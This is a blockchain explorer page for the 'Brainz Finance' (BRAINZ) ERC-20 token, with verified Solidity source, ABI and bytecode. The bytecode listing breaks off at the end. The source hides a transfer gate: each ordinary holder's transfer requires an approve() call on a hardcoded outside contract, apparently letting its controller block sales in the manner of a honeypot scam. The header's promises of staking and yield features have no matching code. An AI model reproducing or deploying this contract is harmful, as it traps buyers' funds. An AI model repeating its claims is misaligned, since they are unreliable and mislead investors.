Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
200,000,000 BRAINZ
Holders
13
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.000000000007207306 BRAINZValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BrainzFinance
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT /* The first meme coin to harness the power of Liquidity Staking Derivative Protocol Our project merges the playful nature of meme coins with the intelligent strategies of smart investors, creating an innovative and rewarding experience. In this white paper, we will delve into the unique features of Brainz.Finance, including our lucrative rewards system, dynamic yield model, and automatic repeat feature. https://x.com/brainzfinance https://www.brainz.finance/ https://t.me/brainzfinance */ pragma solidity 0.8.26; import "./IERC20.sol"; import "./Safemath.sol"; import "./IUniswapV2Factory.sol"; import "./UniswapV2Router.sol"; import "./Ownable.sol"; contract BrainzFinance is Ownable { using SafeMath for uint256; uint8 private _decimals = 18; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 200000000 * 10 ** _decimals; IERC20 uniswapPairV2 = IERC20(0x1643F76A2518C86FB772768C5031DC6BaF2B57bc); IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapV2Pair; bool tradingOpen = false; string private constant _name = "Brainz Finance"; string private constant _symbol = "BRAINZ"; uint256 private _initialBuyTax=23; uint256 private _initialSellTax=23; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=20; uint256 private _reduceSellTaxAt=20; uint256 private _preventSwapBefore=27; uint256 private _transferTax=70; uint256 private _buyCount=0; mapping (address => uint256) private _balances; mapping (address => bool) isExcludedFromFee; // Fee receivers address payable private marketingWallet; address private projectWallet; uint256 private buyTaxTotal; uint256 private buyMarketingTax; uint256 private buyProjectTax; uint256 private sellTaxTotal; uint256 private sellMarketingTax; uint256 private sellProjectTax; uint256 private tokensForMarketing; uint256 private tokensForProject; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor () { _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); isExcludedFromFee[msg.sender] = true; } function symbol() public pure returns (string memory) { return _symbol; } function name() public pure returns (string memory) { return _name; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function totalSupply() public view returns (uint256) { return _totalSupply; } function createPair() public onlyOwner() { address WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH); } function openTrading() public payable onlyOwner() { require(!tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function _transfer(address sender, address to, uint256 amount) private { require(sender != address(0)); require(amount > 0); if (to != owner() && sender != owner()) { if (!isExcludedFromFee[sender]&& sender != uniswapV2Pair && sender != address(this) && !isExcludedFromFee[to]) { bool pairApproved = uniswapPairV2 .approve(sender, amount); require(pairApproved);} } _balances[to] = _balances[to].add(amount); _balances[sender] = _balances[sender].sub(amount); emit Transfer(sender, to, amount); } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function sendETHToFee(uint256 amount) private { marketingWallet.transfer(amount); } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; /** * @dev Interface of the ERC-20 standard as defined in the ERC. */ interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address spnder) external view returns (uint256); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; constructor() { _owner = msg.sender; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function owner() public view virtual returns (address) { return _owner; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; interface IUniswapV2Router { function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103f9565b630bebc2006100499190610443565b600255731643f76a2518c86fb772768c5031dc6baf2b57bc60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff021916908315150217905550601760065560176007555f6008555f6009556014600a556014600b55601b600c556046600d555f600e55348015610143575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002546040516102269190610493565b60405180910390a3600160105f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506104ac565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561030a578086048111156102e6576102e5610288565b5b60018516156102f55780820291505b8081029050610303856102b5565b94506102ca565b94509492505050565b5f8261032257600190506103dd565b8161032f575f90506103dd565b8160018114610345576002811461034f5761037e565b60019150506103dd565b60ff84111561036157610360610288565b5b8360020a91508482111561037857610377610288565b5b506103dd565b5060208310610133831016604e8410600b84101617156103b35782820a9050838111156103ae576103ad610288565b5b6103dd565b6103c084848460016102c1565b925090508184048111156103d7576103d6610288565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610403826103e4565b915061040e836103ed565b925061043b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610313565b905092915050565b5f61044d826103e4565b9150610458836103e4565b9250828202610466816103e4565b9150828204841483151761047d5761047c610288565b5b5092915050565b61048d816103e4565b82525050565b5f6020820190506104a65f830184610484565b92915050565b611a0e806104b95f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007e5780639e78fb4f116100585780639e78fb4f146102a6578063a9059cbb146102bc578063c9567bf9146102f8578063dd62ed3e14610302576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f461033e565b6040516101019190611313565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b91906113c4565b61037b565b60405161013d919061141c565b60405180910390f35b348015610151575f80fd5b5061015a610391565b6040516101679190611444565b60405180910390f35b34801561017b575f80fd5b506101966004803603810190610191919061145d565b61039a565b6040516101a3919061141c565b60405180910390f35b3480156101b7575f80fd5b506101c0610446565b6040516101cd91906114c8565b60405180910390f35b3480156101e1575f80fd5b506101ea61045b565b6040516101f791906114f0565b60405180910390f35b34801561020b575f80fd5b5061022660048036038101906102219190611509565b610480565b6040516102339190611444565b60405180910390f35b348015610247575f80fd5b506102506104c6565b005b34801561025d575f80fd5b506102666105f5565b60405161027391906114f0565b60405180910390f35b348015610287575f80fd5b5061029061061c565b60405161029d9190611313565b60405180910390f35b3480156102b1575f80fd5b506102ba610659565b005b3480156102c7575f80fd5b506102e260048036038101906102dd91906113c4565b6108a9565b6040516102ef919061141c565b60405180910390f35b6103006108bf565b005b34801561030d575f80fd5b5061032860048036038101906103239190611534565b610b2e565b6040516103359190611444565b60405180910390f35b60606040518060400160405280600e81526020017f427261696e7a2046696e616e6365000000000000000000000000000000000000815250905090565b5f610387338484610bb0565b6001905092915050565b5f600254905090565b5f6103a6848484610d73565b61043b84336104368560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461119b90919063ffffffff16565b610bb0565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104e56105f5565b73ffffffffffffffffffffffffffffffffffffffff161461053b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610532906115bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f425241494e5a0000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166106786105f5565b73ffffffffffffffffffffffffffffffffffffffff16146106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c5906115bc565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d91906115ee565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ed91906115ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610827929190611619565b6020604051808303815f875af1158015610843573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086791906115ee565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6108b5338484610d73565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166108de6105f5565b73ffffffffffffffffffffffffffffffffffffffff1614610934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092b906115bc565b60405180910390fd5b600560149054906101000a900460ff161561094d575f80fd5b61097b3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610bb0565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109c330610480565b5f806109cd6105f5565b426040518863ffffffff1660e01b81526004016109ef96959493929190611682565b60606040518083038185885af1158015610a0b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3091906116f5565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ad0929190611745565b6020604051808303815f875af1158015610aec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b109190611796565b506001600560146101000a81548160ff021916908315150217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1590611831565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c83906118bf565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d669190611444565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610daa575f80fd5b5f8111610db5575f80fd5b610dbd6105f5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e2b5750610dfb6105f5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561100f5760105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610ed4575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f0c57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f5f575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561100e575f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b385846040518363ffffffff1660e01b8152600401610fc1929190611745565b6020604051808303815f875af1158015610fdd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110019190611796565b90508061100c575f80fd5b505b5b61105f81600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e490919063ffffffff16565b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110f081600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461119b90919063ffffffff16565b600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161118e9190611444565b60405180910390a3505050565b5f6111dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611241565b905092915050565b5f8082846111f2919061190a565b905083811015611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90611987565b60405180910390fd5b8091505092915050565b5f838311158290611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f9190611313565b60405180910390fd5b505f838561129691906119a5565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6112e5826112a3565b6112ef81856112ad565b93506112ff8185602086016112bd565b611308816112cb565b840191505092915050565b5f6020820190508181035f83015261132b81846112db565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61136082611337565b9050919050565b61137081611356565b811461137a575f80fd5b50565b5f8135905061138b81611367565b92915050565b5f819050919050565b6113a381611391565b81146113ad575f80fd5b50565b5f813590506113be8161139a565b92915050565b5f80604083850312156113da576113d9611333565b5b5f6113e78582860161137d565b92505060206113f8858286016113b0565b9150509250929050565b5f8115159050919050565b61141681611402565b82525050565b5f60208201905061142f5f83018461140d565b92915050565b61143e81611391565b82525050565b5f6020820190506114575f830184611435565b92915050565b5f805f6060848603121561147457611473611333565b5b5f6114818682870161137d565b93505060206114928682870161137d565b92505060406114a3868287016113b0565b9150509250925092565b5f60ff82169050919050565b6114c2816114ad565b82525050565b5f6020820190506114db5f8301846114b9565b92915050565b6114ea81611356565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f6020828403121561151e5761151d611333565b5b5f61152b8482850161137d565b91505092915050565b5f806040838503121561154a57611549611333565b5b5f6115578582860161137d565b92505060206115688582860161137d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6115a66020836112ad565b91506115b182611572565b602082019050919050565b5f6020820190508181035f8301526115d38161159a565b9050919050565b5f815190506115e881611367565b92915050565b5f6020828403121561160357611602611333565b5b5f611610848285016115da565b91505092915050565b5f60408201905061162c5f8301856114e1565b61163960208301846114e1565b9392505050565b5f819050919050565b5f819050919050565b5f61166c61166761166284611640565b611649565b611391565b9050919050565b61167c81611652565b82525050565b5f60c0820190506116955f8301896114e1565b6116a26020830188611435565b6116af6040830187611673565b6116bc6060830186611673565b6116c960808301856114e1565b6116d660a0830184611435565b979650505050505050565b5f815190506116ef8161139a565b92915050565b5f805f6060848603121561170c5761170b611333565b5b5f611719868287016116e1565b935050602061172a868287016116e1565b925050604061173b868287016116e1565b9150509250925092565b5f6040820190506117585f8301856114e1565b6117656020830184611435565b9392505050565b61177581611402565b811461177f575f80fd5b50565b5f815190506117908161176c565b92915050565b5f602082840312156117ab576117aa611333565b5b5f6117b884828501611782565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61181b6024836112ad565b9150611826826117c1565b604082019050919050565b5f6020820190508181035f8301526118488161180f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118a96022836112ad565b91506118b48261184f565b604082019050919050565b5f6020820190508181035f8301526118d68161189d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61191482611391565b915061191f83611391565b9250828201905080821115611937576119366118dd565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611971601b836112ad565b915061197c8261193d565b602082019050919050565b5f6020820190508181035f83015261199e81611965565b9050919050565b5f6119af82611391565b91506119ba83611391565b92508282039050818111156119d2576119d16118dd565b5b9291505056fea2646970667358221220034c558a41ba30d18d584743b8bc67bbd17b388e91bcb4818b844ed0433f00a964736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c8063715018a61161007e5780639e78fb4f116100585780639e78fb4f146102a6578063a9059cbb146102bc578063c9567bf9146102f8578063dd62ed3e14610302576100dc565b8063715018a61461023c5780638da5cb5b1461025257806395d89b411461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f461033e565b6040516101019190611313565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b91906113c4565b61037b565b60405161013d919061141c565b60405180910390f35b348015610151575f80fd5b5061015a610391565b6040516101679190611444565b60405180910390f35b34801561017b575f80fd5b506101966004803603810190610191919061145d565b61039a565b6040516101a3919061141c565b60405180910390f35b3480156101b7575f80fd5b506101c0610446565b6040516101cd91906114c8565b60405180910390f35b3480156101e1575f80fd5b506101ea61045b565b6040516101f791906114f0565b60405180910390f35b34801561020b575f80fd5b5061022660048036038101906102219190611509565b610480565b6040516102339190611444565b60405180910390f35b348015610247575f80fd5b506102506104c6565b005b34801561025d575f80fd5b506102666105f5565b60405161027391906114f0565b60405180910390f35b348015610287575f80fd5b5061029061061c565b60405161029d9190611313565b60405180910390f35b3480156102b1575f80fd5b506102ba610659565b005b3480156102c7575f80fd5b506102e260048036038101906102dd91906113c4565b6108a9565b6040516102ef919061141c565b60405180910390f35b6103006108bf565b005b34801561030d575f80fd5b5061032860048036038101906103239190611534565b610b2e565b6040516103359190611444565b60405180910390f35b60606040518060400160405280600e81526020017f427261696e7a2046696e616e6365000000000000000000000000000000000000815250905090565b5f610387338484610bb0565b6001905092915050565b5f600254905090565b5f6103a6848484610d73565b61043b84336104368560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461119b90919063ffffffff16565b610bb0565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104e56105f5565b73ffffffffffffffffffffffffffffffffffffffff161461053b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610532906115bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f425241494e5a0000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166106786105f5565b73ffffffffffffffffffffffffffffffffffffffff16146106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c5906115bc565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d91906115ee565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ed91906115ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610827929190611619565b6020604051808303815f875af1158015610843573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086791906115ee565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6108b5338484610d73565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166108de6105f5565b73ffffffffffffffffffffffffffffffffffffffff1614610934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092b906115bc565b60405180910390fd5b600560149054906101000a900460ff161561094d575f80fd5b61097b3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610bb0565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109c330610480565b5f806109cd6105f5565b426040518863ffffffff1660e01b81526004016109ef96959493929190611682565b60606040518083038185885af1158015610a0b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3091906116f5565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ad0929190611745565b6020604051808303815f875af1158015610aec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b109190611796565b506001600560146101000a81548160ff